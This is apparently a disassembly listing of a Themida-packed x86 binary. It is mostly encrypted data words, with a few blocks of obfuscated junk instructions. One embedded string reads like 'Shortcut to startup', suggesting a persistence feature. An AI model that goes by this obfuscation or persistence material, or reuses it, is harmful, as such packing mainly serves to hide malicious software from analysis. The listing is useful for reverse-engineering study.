180424h, 52420000h, 59B84EC3h, 9589E5BCh, 7E010C5h dd 731BD83h, 0F0207E0h, 5684h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 14CEB371h dd 0F11BA21h, 686h, 86D78100h, 8B657408h, 0E0203985h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0C51A07FAh, 0C70000C6h, 0E0043D85h, 7, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8BC5912Dh, 0E0204D9Dh, 0F324E907h, 0BD8BFFFFh, 7E00F51h dd 0B199D89h, 0C18B07E0h, 0BAFB8B66h, 0F00E0000h, 0EA81h dd 0C283F000h, 0F1958914h, 8307E030h, 858D14EAh, 7E54F59h dd 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 658589C8h, 307E004h, 0B70F3C40h, 95890650h, 7E01411h dd 8950508Bh, 0E015A595h, 0F80507h, 508B0000h, 89D1030Ch dd 0E023E995h, 8500307h, 0F419589h, 8F6407E0h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 2FF5BD83h, 0F0007E0h, 2484h, 5985C600h, 4707E007h, 9AA7D268h dd 2DB5FFD4h, 8D07E029h, 0E37FE885h, 6AD0FF07h, 89D0FF00h dd 0E016A985h, 0E8D38B07h, 13h, 9BF4917Ah, 0D1A7853Ah dd 6B6D9920h, 0AE8610AEh, 6038FCC5h, 6E8h, 47231000h, 660512F2h dd 5897C7BFh, 0A490D9B8h, 0F596172h, 387h, 0C0BF0F00h dd 5C5BC181h, 8B660000h, 80D22BFAh, 1C8B2CE4h, 0C381FC11h dd 11D84D91h, 0F38133B0h, 1D6E5D11h, 0CE8h, 86A4DD00h dd 8E44FACAh, 98E090CFh, 0BE9DFh, 0E9140000h, 2E1B6608h dd 35253F51h, 0EB815F39h, 4E2F5B97h, 0ADC261B8h, 81665366h dd 8F4F8BD6h, 0F5531104h, 2EA835Eh, 800Fh, 4A4A0000h, 4820Fh dd 0B8660000h, 0FA813384h, 0FFFFA480h, 25850Fh, 0F530000h dd 48Dh, 0F8BF6600h, 20E95E3Eh, 0B2000000h, 55CCFA82h dd 2EBF1617h, 0B3012BEDh, 0A7876F5Eh, 0E9354EC3h, 0FFFFFF6Ah dd 5D5C7659h, 0E9FE446Ah, 2Bh, 0A1FD25Eh, 9 dup(0) dd 0E9000000h, 4ADh, 2741FBE3h, 9CB66E55h, 132DE5CAh, 86A05841h dd 0FE18D2B4h, 290B00A9h, 9F83556Fh, 16F9CBE5h, 8C72445Eh dd 0EDD8B8D2h, 0D550E7CAh, 461D8F21h, 0C9CF876Ch, 8B452BA7h dd 0ECA68886h, 601A00D2h, 0BD775D5Bh, 14D3BAB8h, 7472772Fh dd 0D8CFD48Eh, 0A7D822Dh, 482E78D5h, 0BFA2748Eh, 2F16F007h dd 8D747277h, 2ED9D0D5h, 11F4C628h, 72565459h, 90BDB3B8h dd 4E06E933h, 0C27C6234h, 0AE2E5ABDh, 41EC98E0h, 21DBC173h dd 8D6D81Bh, 1D4E29BAh, 723C6AC0h, 7C575434h, 64000000h dd 0E5EAA48Ah, 474C04E7h, 7D9FA550h, 52389AC6h, 0EA22DF62h dd 0A2E7E8E6h, 595F3BE4h, 0BABF795Fh, 0BA753C73h, 5AB7E829h dd 36EED1ABh, 2E343A31h, 5434C6F0h, 0C57D6640h, 27DFC2C0h dd 7A802B22h, 1F6h, 442B4000h, 4A24878Ch, 0ADA7AD65h, 0B090EC6h dd 14536A22h, 0BAA0C0F1h, 5D63B629h, 0B689D10h, 0A5C9DAC1h dd 0A172D562h, 4E9C5155h, 0AFB0ECAEh, 3218EA04h, 2B645E78h dd 8C8A8F49h, 80E8EDA5h, 0AE90DA37h, 0C9A3DAF4h, 2A242AE2h dd 87858A44h, 89E5EAA2h, 5975CB28h, 725434E8h, 7Eh, 8F492BBCh dd 0EFA78C8Ah, 0ED4277EAh, 13F8B99Bh, 5F96B05Bh, 16D00533h dd 0BAA0BEF3h, 6165B829h, 0DBE11DE6h, 5B3EFFE1h, 90F3F8A3h dd 128A5C64h, 6D7327E0h, 0CDD28A73h, 2C31EBCFh, 8C91492Eh dd 3B86DB24h, 0BE75CA2Bh, 2E45FDE4h, 0B9A8A60Bh, 777DD029h dd 34102571h, 3E6E54h, 2BB80000h, 8C8A8F49h, 0BAECF1A9h dd 1FF9A805h, 807A8038h, 0F3CDE49Eh, 4F4D520Ah, 0FD03AE66h dd 442BA19Bh, 4A24878Ch, 0B2A9AE68h, 0A14569ACh, 0B0E129BAh dd 0EAC1FD53h, 1EA5434h, 34000000h, 5109ECC6h, 0B46C514Bh dd 11CBB1AFh, 94E9160Ch, 8BA55D42h, 5B72B15Fh, 0DBE19B81h dd 0A011597Ch, 0ED472E5Ah, 50474C04h, 5500BA9Eh, 0B26C5250h dd 0CDE0C698h, 8B6E6662h, 3D50CFD3h, 50979C47h, 21DA9C5Fh dd 0AA8F6908h, 0F0F6EDF2h, 0EED4267Bh, 62481A34h, 0BFA5A3A8h dd 4F980005h, 9CC2A8F2h, 1E23DBC2h, 9B852C27h, 2F1621DAh dd 0A47B7277h, 0A5AA644Ah, 3E5803AEh, 0D4EF2260h, 0B6987253h dd 0FA00F7FCh, 10176h, 0ECC6C000h, 0F4484E08h, 0D5F80F2Ch dd 2E5A8701h, 0BC1F2477h, 7B575A7Dh, 614421DAh, 0D6ADA4A9h dd 9D837D83h, 11F7C9E3h, 6E545257h, 630EC6ADh, 50ADF65Eh dd 0E8A675A1h, 0AF3F38A0h, 0FC9AFA9h, 95EB17F5h, 450453D4h dd 4E000000h, 0D8EF4ED1h, 455E1CB5h, 384FA256h, 6A87540Ch dd 0E5EB84A8h, 0B6605198h, 543BA9BAh, 0B799979Ch, 11C6F8FDh dd 0D09171BCh, 0E540CF73h, 7326ABCEh, 3D90D645h, 6317FA26h dd 175DAC49h, 73ADAF11h, 43000000h, 0D9F04FD1h, 5AA4E4B6h dd 70EE1A2Eh, 0B3F74A12h, 6ABDDCE2h, 5B816765h, 0D9D57938h dd 7B20521h, 7B351BEDh, 0D59D2F76h, 4F0421D9h, 8C2A8F2h dd 0E15EC2EEh, 268EA7CAh, 95E8267Fh, 0C265527Eh, 0F2F4AD07h dd 0A0A55D40h, 5856A3A9h, 0BDB3B872h, 6D4467A6h, 929B564h dd 0E63BB0B6h, 4259D63Ah, 5AB4161Fh, 61D702Eh, 591627DAh dd 393FE7B4h, 4FD1DDD7h, 0C09AD9F0h, 231A1FD7h, 0F15BDA1Dh dd 1DB2E5Fh, 0BA725918h, 0D130A0Fh, 98969BEEh, 0CDEF8B2h dd 0C9836526h, 81B674C4h, 3D92EA78h, 9BE2E792h, 1C5A9B26h dd 3136EED5h, 0A68F4E33h, 47F2E9EEh, 0F8551642h, 4598EB5h dd 0F812CCB2h, 81864026h, 0F9DB9A83h, 98433A3Fh, 0F6AE9593h dd 550FF3F1h, 0D02D5A50h, 3EE9A186h, 0C00A6794h, 340620DAh dd 618F944Eh, 8, 40FAE0BAh, 6624183Ah, 8489432Bh, 0E1E6A086h dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h dd 2025DDC2h, 7E833B22h, 6260686Dh, 2C890000h, 0E2895224h dd 4C281h, 0EA830000h, 24148704h, 2414895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax mov eax, 7273678Ch sub eax, 5D4F513Eh or eax, 194304CEh inc eax sub eax, 1 add eax, 0EA7E39EAh mov edx, eax pop eax push 4CCDh mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], edx pop dword ptr [ebx+8] mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_554887 ; --------------------------------------------------------------------------- dd 4C1C5F9Eh, 0B010A805h, 0E4F51CB6h, 54C5B8B1h, 0C50307E5h dd 2F6EE0FFh, 0BC87592h, 0AE3F1F10h, 0C4524B7Bh, 17F823A5h dd 5247458h, 2500572Fh, 7F462898h, 0BCF72C1Ch, 853B73F0h dd 0B0BA0DB6h, 341370CFh, 1D8F5206h, 30B635F6h, 7AE106C9h dd 8D8D4F69h, 7E556B5h, 8D89F18Bh, 7E01815h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8EC35747h, 0E428FB8Fh dd 0BE9h, 0BBBB2700h, 0F7C5CBEFh, 255CDEF0h, 204985C7h dd 650407E0h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0E8CCBFC3h, 4BAEB866h, 22C585C7h dd 7E0h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 5132FAC3h, 4839585Bh, 8D89F7F1h dd 7E00839h, 7B9B5FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0BAA1B2C3h, 9CE0B491h dd 13E94C2Eh, 15000000h, 9C04E968h, 8EBD55D2h, 0F08318A6h dd 0EED8B1AAh, 95FFA87Eh, 7E02091h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0E1C35646h, 6AF59Eh, 18A995FFh dd 0C08B07E0h, 0B1590BEBh, 0FBBE7A2Dh, 3BEC2CA9h, 158D8D59h dd 107E557h, 0E03165BDh, 158D8907h, 8B07E018h, 0E010519Dh dd 4985C707h, 1407E020h, 0BB000069h, 25CA1E42h, 22C585C7h dd 7E0h, 95010000h, 7E02AA1h, 2A5DB5FFh, 0D28107E0h, 4ED89274h dd 209195FFh, 6A07E0h, 18A995FFh, 0C08B07E0h, 0C54D2AEBh dd 357C31D9h, 799C010Ah, 0C0999D9Dh, 8BF7161Fh, 91FE2BC4h dd 423CC1B0h, 459CCD2Dh, 43A03940h, 7D0C6DA0h, 65BCD9C6h dd 4BE3D20h, 67313220h, 0AA54D591h, 8AE9BE6Eh, 0E139FF91h dd 0D6BA5405h, 853E36A9h, 13130D4h, 0DBB0CACAh, 518FFA76h dd 10248F93h, 0E3135E8h, 1310380h, 818E5402h, 307DB3Bh dd 15B3280h, 132DA16h, 5F113220h, 75B86CD3h, 45B0362Ch dd 1293620h, 57773202h, 0F89286C2h, 1D8226BBh, 23FCA7CBh dd 53A135C0h, 13123F8h, 0BFE70C08h, 85F574BBh, 6151C339h dd 1F52F8F8h, 5361A5E0h, 596B034Fh, 8A61687Bh, 0B4BAA2EBh dd 6D13AA5h, 257D330Bh, 8884BBFCh, 5936D211h, 3A68C401h dd 0C1B2570Fh, 5631580Ch, 13131F8h, 0C26E1208h, 254DBB5Bh dd 2575B306h, 1312B05h, 0C2667580h, 0DAF6A6B2h, 8E3E3E37h dd 1313218h, 1B33D68h, 60313204h, 15B3A89h, 132DA56h, 5E113280h dd 7DB86D83h, 45B03604h, 1293634h, 56763208h, 6C6D94C7h dd 158A3D12h, 2686667h, 0E101FF1Dh, 49BA5447h, 0F4B403DCh dd 6736D214h, 0FE070B89h, 21B60Bh, 8C183202h, 6D13A8Ch dd 2838F303h, 0E11C53DDh, 0E808B227h, 77B71Fh, 15B3208h dd 132DA52h, 5F113202h, 75B86CC2h, 45B036A4h, 1283664h dd 57773220h, 88DABAD3h, 32C642C0h, 0E13957B9h, 0B8ACB905h dd 8A36D223h, 15B33C1h, 132DA13h, 5A113220h, 5DB869D3h dd 45B0362Ch, 1243620h, 52723202h, 8A9164C2h, 0E12A3B1Dh dd 8841947h, 236D200h, 533158D8h, 13131E0h, 0C26B1204h dd 2565BB58h, 2575B305h, 1312F84h, 0C2637040h, 0EA2DBECCh dd 9AC7621Dh, 0DFBAB6C4h, 13121ECh, 9F950702h, 671D0930h dd 0D0C17B7h, 5490556Dh, 4CE1132Ah, 5EE78D1Fh, 6B34F38Bh dd 2D96404h, 21313202h, 886FF15Fh, 803516F4h, 17351604h dd 47313220h, 2D6CF146h, 70A43948h, 8A36D200h, 0E11E47B7h dd 9108B306h, 0EBA71CBh, 1315DC5h, 52315820h, 13131F8h dd 0C26A1208h, 256DBB5Fh, 2575B306h, 1312B05h, 0C2627180h dd 31E908Dh, 8CBCB2A7h, 6D17CF8h, 0E8B05468h, 0E2B06F7Ah dd 6390274Ah, 1328A60h, 15D83280h, 71313240h, 2D400394h dd 0F1A732C4h, 0F3AE972Fh, 3E5F6B5Eh, 0FECD6B7Ah, 0E9E980E0h dd 1313286h, 67040207h, 9D8CECEh, 0B8313210h, 5C11077Ah dd 5B453842h, 5B43D63h, 50313201h, 326E53E0h, 0E12CB3DDh dd 458CBF27h, 8C36D747h, 0E468D785h, 82458A03h, 84023390h dd 6D11F28h, 0E8F0FDABh, 4BE3D20h, 67313220h, 0AA54D591h dd 8AE9BE6Eh, 0E139FF91h, 0D6BA5405h, 5E983A9h, 0C08BA4F3h dd 18B9BD89h, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0DA1239C3h, 2DDAD28h, 9509605Dh dd 7E00741h, 0C38BF88Bh, 5B118D8Dh, 0BF0F07E5h, 158D89DEh dd 6A07E018h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0D98AC350h, 9DD7ECE8h, 0C749445Bh dd 0E0204985h, 666807h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 81AE0AC0h, 0F6BF0F6Ah dd 22C585C7h, 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 2C9774C3h, 13F33D42h dd 9858B60h, 0F07E020h, 0FF61C3B7h, 0E004A9B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FD39598h, 882h, 0B58B5300h, 7E005F1h, 9195FF5Eh, 8007E020h dd 6A46F3h, 18A995FFh, 0C08B07E0h, 0DEF5EEBh, 0C0F29D0Ch dd 0ECF7E1BEh, 6D617654h, 3E390603h, 9B90F069h, 0E7EAE996h dd 0AD6CF055h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh dd 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 319026A4h dd 91B38295h, 3B1E2C13h, 5BF4D1F3h, 0B79F10DDh, 5F424665h dd 50476110h, 929D6CC0h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h dd 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h, 78216AEFh dd 0B44E6032h, 67A5E4FFh, 780F1EF8h, 70A3BEA1h, 6721D02Ch dd 0A1A3BA79h, 1B21D3FAh, 7809C6D7h, 1D293332h, 98263383h dd 0C3A2B6C0h, 15763443h, 7D7D45D6h, 0DD963AEh, 9FC61DEDh dd 98266483h, 15235935h, 7D7DB51Fh, 1DAB634Ah, 9FC368D0h dd 15B3CC03h, 9321D3B2h, 0A1A23C14h, 1526336Ah, 7D7DB5B0h dd 0AACE639Dh, 0D826334Dh, 14A3BEF6h, 0C821D608h, 0C3A0B624h dd 67763431h, 783EB2FFh, 94E2B032h, 0C3A0B617h, 157634A8h dd 7D7D4523h, 0DD96354h, 9FC61D90h, 9826513Dh, 74AD666Ah dd 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h dd 67D9C62Ch, 13EF002Bh, 0B2CF3B17h dword_5A2400 dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h ; DATA XREF: Themida_:0054CFDCo dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh dd 152637A8h, 7D7D4788h, 31ABBE9Dh, 2021D611h, 93h, 71E7FC78h dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh, 0E55CA9B5h dd 0C88D8D07h, 2B07E55Ch, 5E983CFh, 8D8DC88Bh, 7E55D70h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0ADC35343h dd 919D8BC6h, 8907E01Ch, 0E018158Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9D89EE65h dd 7E01D51h, 204985C7h, 5B8007E0h, 11E80000h, 0B7000000h dd 0FAC59408h, 78A726D5h, 720987F1h, 0D3DDC4E5h, 0C7B88FBEh dd 85C75A48h, 7E022C5h, 0 dd 25E1958Bh, 0B5FF07E0h, 7E01261h, 0BEF68166h, 9195FF63h dd 2307E020h, 0E01AEDBDh, 0FF006A07h, 0E018A995h, 0EBC08B07h dd 8AC2A538h, 4655B5E7h, 0E33EF3B2h, 5412BB20h, 4E656FCCh dd 9853EE07h, 0C2E8FFD8h, 0CF723B6Fh, 0C4576B54h, 19E4DD47h dd 837732Fh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0B1AB98FEh dd 0CB4660CCh, 0B202BF54h, 0BA709C74h, 0BCA6F34h, 0B64ECE47h dd 0C2DE2F7h, 5BD48532h, 0B30D7361h, 0BCD7831h, 2B38BBBBh dd 964018D2h, 0C2F3350h, 539614CDh, 0A085EB1h, 7FCDF6D2h dd 0B39EA825h, 0BCD7831h, 2B38BBBBh, 964018D2h, 0C2F3663h dd 539614CDh, 0E39EE358h, 0BCDF131h, 500EA312h, 0FE920BBh dd 0FE97AB3h, 0BCD1F2Fh, 0C70EDC71h, 4D8031C8h, 6DC62BC8h dd 0FE5078A6h, 4CA1824h, 0CB46878Dh, 0AE0B3BBh, 87AB18D2h dd 0F33E0FEAh, 8FC2C39Ah, 0BCDE098h, 0E39AF158h, 0BCDF831h dd 540E2312h, 0FE942BBh, 0FE95BB3h, 0BCD8F27h, 0B0E9075h dd 1E7060DFh, 0BCA1123h, 0BC27C3Dh, 0B1AB7C32h, 7C2461CBh dd 0CD1F31h, 0EBCAFA8Fh, 2CCD7935h, 8AABE132h, 86F710D9h dd 0E857C7B7h, 58CD1635h, 0BCD3DDAh, 0C8963F32h, 2F910669h dd 2F894636h, 0BCDF636h, 0C89EB232h, 0F346DBD6h, 41D83C7h dd 0BCD38B3h, 0A6589432h, 8ECA6F2Fh, 0F449C8F2h, 0E3CDE332h dd 0BCDF126h, 85B76576h, 927354D7h, 70BBA011h, 0B4085C41h dd 0AFA353F5h, 0A948C85h, 0EBF982A7h, 5CF57035h, 4367954h dd 0BCD31B7h, 5BCD5432h, 0BCD1CDAh, 0C895AF32h, 2F894E6Ah dd 2F896236h, 0BCDE436h, 0C89DB832h, 8AABDEACh, 9CF3A4Ah dd 92A9B3Dh, 0BA78F32h, 0BCE2F64h, 55EDE332h, 7F44AFF1h dd 4F4CFC16h, 0BDB7816h, 5D8B3E32h, 28B4B5F1h, 1CE412BBh dd 8AABC0D2h, 4AD7F0Ah, 0BCD88B7h, 5DCD9232h, 0BCD7FDAh dd 0C8931E32h, 2FB9966Ch, 2F890E36h, 0BCDDD36h, 0C89BA532h dd 0E1A7121Ah, 8B5F9CC8h, 734DC7F3h, 8EC2D630h, 0BCD1F78h dd 1AA63554h, 74074654h, 734C853Eh, 466F134h, 0BCDCDB7h dd 6902FD32h, 0E2C87BA8h, 0BCD1D5Bh, 0E39B8F58h, 0BCDC731h dd 550EBD12h, 0FE985BBh, 0FE9BCB3h, 0BCD7C28h, 0D50E6874h dd 1939BD02h, 0DC4676F5h, 0E584ABBh, 0B73E4D2h, 88BF033h dd 0EBE021A7h, 3448F135h, 80CADDA8h, 0EBC60EA7h, 8A1D7035h dd 893CB9C0h, 40D6632h, 0BCFF4B6h, 59CD9232h, 0BCD7FDAh dd 0C8971E32h, 2F999668h, 2F890E36h, 0BCDD336h, 0C89FA132h dd 6DF57016h, 4CFFA0Fh, 0BCD21B7h, 5BCD5432h, 0BCD1CDAh dd 0C895AF32h, 2F894E6Ah, 2F896236h, 0BCDE936h, 0C89DB832h dd 80FAE0A5h, 0AA780FB6h, 8ACAFF3Ah, 36AB894Ah, 8FC2BD6Dh dd 0BCDE28Fh, 0E39CF158h, 0BCDF831h, 520E2512h, 0FE972BBh dd 0FE95BB3h, 0BCD8F2Fh, 0D70E9673h, 0F8C7ECFCh, 0CDE4E5C4h dd 845C43FFh, 8AAB4F31h, 4ADA20Ah, 0BCD97B7h, 5ACDE532h dd 0BCDC4DAh, 0C894C332h, 2F81786Bh, 2F897936h, 0BCD6036h dd 0C89C7F32h, 90BC1939h, 8E8542B3h, 9B547BFh, 5148ECDAh dd 0BECDF132h, 734C9E5Fh, 40D7C34h, 0BCD72B7h, 58CD7532h dd 0BCD8CDAh, 0C896E732h, 2F916A69h, 2F897036h, 0BCDE236h dd 0C89E3F32h, 2BDBA071h, 0E2A75646h, 0BCD8E17h, 0E39DC758h dd 0BCDE331h, 530EA912h, 0FE9BCBBh, 0FE938B3h, 0BCD3E26h dd 0D30E4F72h, 0BCE073Dh, 0BCC2C732h, 0ACD5DC8h, 0BA78F33h dd 0BCE1062h, 53ED7C32h, 4F4466F1h, 4F4C1B16h, 0BD98B16h dd 5B8DC732h, 8E4072F1h, 0C2E6B0Dh, 0DB3212B8h, 0BCBF53Dh dd 9E443E32h, 0C2D1947h, 8FC24FB7h, 0BCDC79Ch, 26086E19h dd 9E44F6D2h, 0C2DD94Bh, 42544B2h, 0BCD0AB7h, 0F43B9F32h dd 254832BBh, 734DC0D2h, 8EC29037h, 0BCDF113h, 0BCDEADBh dd 3504CD32h, 0DC92E14Bh, 7DAB52A4h, 0A9B44421h, 8B935E11h dd 49EE44Ah, 0BCD89B6h, 334C9E32h, 8EC279BDh, 0BCD3E68h dd 10CCA054h, 63CBF7B2h, 0B81423Dh, 4ADE332h, 6A382085h dd 0B57954h, 8EC259CDh, 0BCD3E08h, 0BCD12DBh, 7D35EB32h dd 0C897E1Fh, 7BD8B546h, 3D241248h, 61CDF832h, 8252D32h dd 2BCD3E32h, 8294DC6Bh, 8AC9AB7Eh, 1EC9E376h, 4ACDE332h dd 0D7DE3263h, 2B7C75BBh, 0B757BD2h, 22CD3E32h, 0EBFD42B7h dd 0BEF6635h, 0C44DC732h, 0BCC5B97h, 0BEADF132h, 0BDC1105h dd 249A7C32h, 33533393h, 7173F465h, 0A5162F13h, 6A3C0F72h dd 599D83A2h, 0BCDF4DAh, 0D279A032h, 4972750h, 0B4C3103h dd 51CD1F32h, 6B9DEE6Ah, 0C917F54h, 0D1468552h, 6AACAF62h dd 0D4EF7A2h, 8ACD7C32h, 0A09B9FF3h, 0A670925Ah, 86CA6A6Fh dd 0EEAFB2BFh, 5EEE5B35h, 8ECE8654h, 0C2DD593h, 0E20CB319h dd 0ACD5D30h, 0BA78F33h, 0BCE1062h, 53ED7C32h, 4F4466F1h dd 4F4C1B16h, 5E98316h, 6A58A4F3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DE65C351h dd 28D78166h, 459D0BBFh, 0BB07E020h, 14BBD20Ch, 68A0FF8h dd 1000000h, 0E01E5995h, 0FC00B07h, 7884h, 38F0F00h, 80000000h dd 0B58DD3F7h, 7E04EE8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0BDC35040h, 0B40D0783h, 8166AE7Ch, 0B8149FD2h dd 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h dd 0E9C35545h, 3883A079h, 85958B42h, 0FF07E028h, 0FE9E6h dd 0AE3A0000h, 14CEB371h, 8A11BA21h, 0A1530D14h, 6A4009h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B29E0C3h, 83B0B2C0h, 0E006B1BDh, 9750007h, 1C5BD83h dd 740007E0h, 8B535019h, 403B8C0h, 85890000h, 7E02399h dd 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h dd 403B853h, 85890000h, 7E02399h, 0B96A9D8Dh, 0D3FF07E2h dd 6A585Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 835EAC3h, 580D03E2h, 0C995892Bh, 8B07E01Ah dd 0C9B589C0h, 6107E02Ah, 12E8h, 9BADA600h, 7BA9D0DDh dd 2A467D8Ch, 4E014CF8h, 17EE82Bh, 0E0051D8Dh, 0EB8A5A07h dd 6A46C281h, 85090000h, 7E03185h, 858BDB2Bh, 7E0141Dh dd 661334FFh, 5F5C09BEh, 0D806EF81h, 0B58963ECh, 7E01F85h dd 8E05EF81h, 0B58B690Dh, 7E02BA5h, 0A28AF781h, 89605E61h dd 0E0162D95h, 89858B07h, 6107E005h, 8A0F6057h, 6, 870Fh dd 830F0000h, 6, 0FF1BD8Bh, 8F6107E0h, 8D8B1A04h, 7E011B5h dd 10CDB58Bh, 0EB8307E0h, 81E58A04h, 0FF9654FBh, 91850FFFh dd 0E8FFFFFFh, 0Dh, 0F69DE8A0h, 0F988298Eh, 0C6273B62h dd 958957A3h, 7E0226Dh, 0B503585Eh, 7E02D9Dh, 665FC081h dd 12E90000h, 7E000000h, 0A3BC6FCDh, 2AAAFB01h, 0C0341AF4h dd 351328E0h, 6847h, 95890000h, 7E00FD1h, 459D8B5Ah, 0FF07E00Fh dd 12E90234h, 82000000h, 0B37F40DBh, 48BAEEFCh, 0AEB3D138h dd 7AAE3508h, 0B58B59B1h, 7E00475h, 0B236F181h, 8D897E76h dd 7E02C2Dh, 8F94F181h, 0B52B1DF7h, 7E0080Dh, 0CEBBF181h dd 8B6624F3h, 100C89DEh, 68C0Fh, 9D8B0000h, 7E02A71h, 6C86BF66h dd 3301EA83h, 0E02EDD9Dh, 4A4A4A07h, 58FA81F9h, 0FFFFF9Ah dd 0FFFF9285h dd 0E8DE8BFFh, 10h, 0E44ACE31h, 0D96755DCh, 9743A5E3h dd 4B4F6DF5h, 2B19B529h, 8B5A07E0h, 0F8C281F0h, 80000064h dd 4CB95EDFh, 81364E67h, 0B1B1C8C1h, 1D9D89C9h, 8B07E024h dd 11E83Ah, 0D5600000h, 0B0BA8614h, 87506430h, 40F87EBEh dd 0FB5BDB2h, 48Ah, 38BB6600h, 0EF81584Ch, 59E01D48h, 12E9h dd 25F00400h, 53FF100h, 135C2CB9h, 7AF74F49h, 81244E30h dd 477362C7h, 0C8816678h, 0C78116D3h, 6895ABB4h, 0BD893A89h dd 7E02315h, 80AFEA81h, 0F78B13B2h, 80ABC281h, 0B86613B2h dd 0E981AA0Fh, 1, 0FF89850Fh, 0DA8AFFFFh, 92E9h, 78700E00h dd 6F68535Dh, 75637472h, 6F742074h, 61747320h, 70757472h dd 1Eh dup(0) dd 0E9000000h, 0EACh, 0E5684B68h, 0E1A9E907h, 3368FFFBh dd 0E907E569h, 0FFFBE19Fh, 0E56ACB68h, 0E195E907h, 0F68FFFBh dd 0E907E56Bh, 0FFFBE18Bh, 0E56BD868h, 0E181E907h, 7968FFFBh dd 0E907E56Ch, 0FFFBE177h, 0E5701068h, 0E16DE907h, 0BB68FFFBh dd 0E907E572h, 0FFFBE163h, 0E573AE68h, 0E159E907h, 0A727FFFBh dd 2BB02C03h, 0BD3EBA91h, 42C8441Bh, 0D057D3AAh, 895A633Ah dd 0D1A83EC5h, 5D34D255h, 0E8BF5FE1h, 754CE86Ch, 0CDB379D0h dd 0E16327C8h, 0AD31D35Ch, 1B69FF86h, 9DDB181Ah, 1D3CD813h dd 630F9AE8h, 53DD78DDh, 0DE85D959h, 0F87CACA9h, 0D8E9855Ch dd 4F884E0Dh, 84632281h, 6DBB51D8h, 8C28AC6Ch, 0B6403D3Eh dd 6F59FF4Dh, 0DA632274h, 0F7E495E0h, 25C43703h, 25h, 35B0112Ch dd 648BB076h, 3CA56322h, 645E48EEh, 36C96322h, 6A67098Ah dd 8BD081D4h, 11C43717h, 105h, 11AD3118h, 1AB037C3h, 629AF5Bh dd 9596E484h, 1AA56360h, 14FE96Eh, 4FD30300h, 55D965B3h dd 0DA0FA92Eh, 68526D03h, 8D395B42h, 3F6F6C0Ah, 0CC481FBBh dd 42EDAC48h, 4267967Ch, 4441AA5Bh, 74E7DA86h, 4266C8AEh dd 467BE45Bh, 87CCC187h, 6F1B6322h, 0C54F4CEEh, 60264ED1h dd 6322877Ah, 38F82D96h, 0C6C715B7h, 0A026D291h, 2B60F67Dh dd 764BE72Eh, 62EAB06Fh, 596B0543h, 908D29ADh, 33DE9D06h dd 44FB876Dh, 2BAFA35Bh, 0B40418Fh, 0AC33DF0Eh, 1AC5716h dd 44FB553Bh, 2600695Bh, 5B44FB40h, 0AFF6F35Ch, 0C16AC33h dd 72A31A6Eh, 37E5835Dh, 7C00000Ch, 58158FCh, 930FE680h dd 1D997012h, 0AC28FF97h, 0AFB88F25h, 0FD931A34h, 8927AA26h dd 14B436B2h, 0A13DC13Dh, 8CE25CAh, 6327CB22h, 3230B93Eh dd 7A446E44h, 0B0C5AF6h, 0BED77E09h, 0FB0F3897h, 0CECB00AAh dd 0AA81179Eh, 370EAA2Eh, 35B011BAh, 648BB076h, 3CA56322h dd 31B763EEh, 4D4A4B99h, 22641903h, 72088F63h, 0EB179824h dd 22643F25h, 0BDF25B63h, 0C260E36Fh, 999CE70Dh, 98F3BCEh dd 97DE7471h, 3717F1E6h, 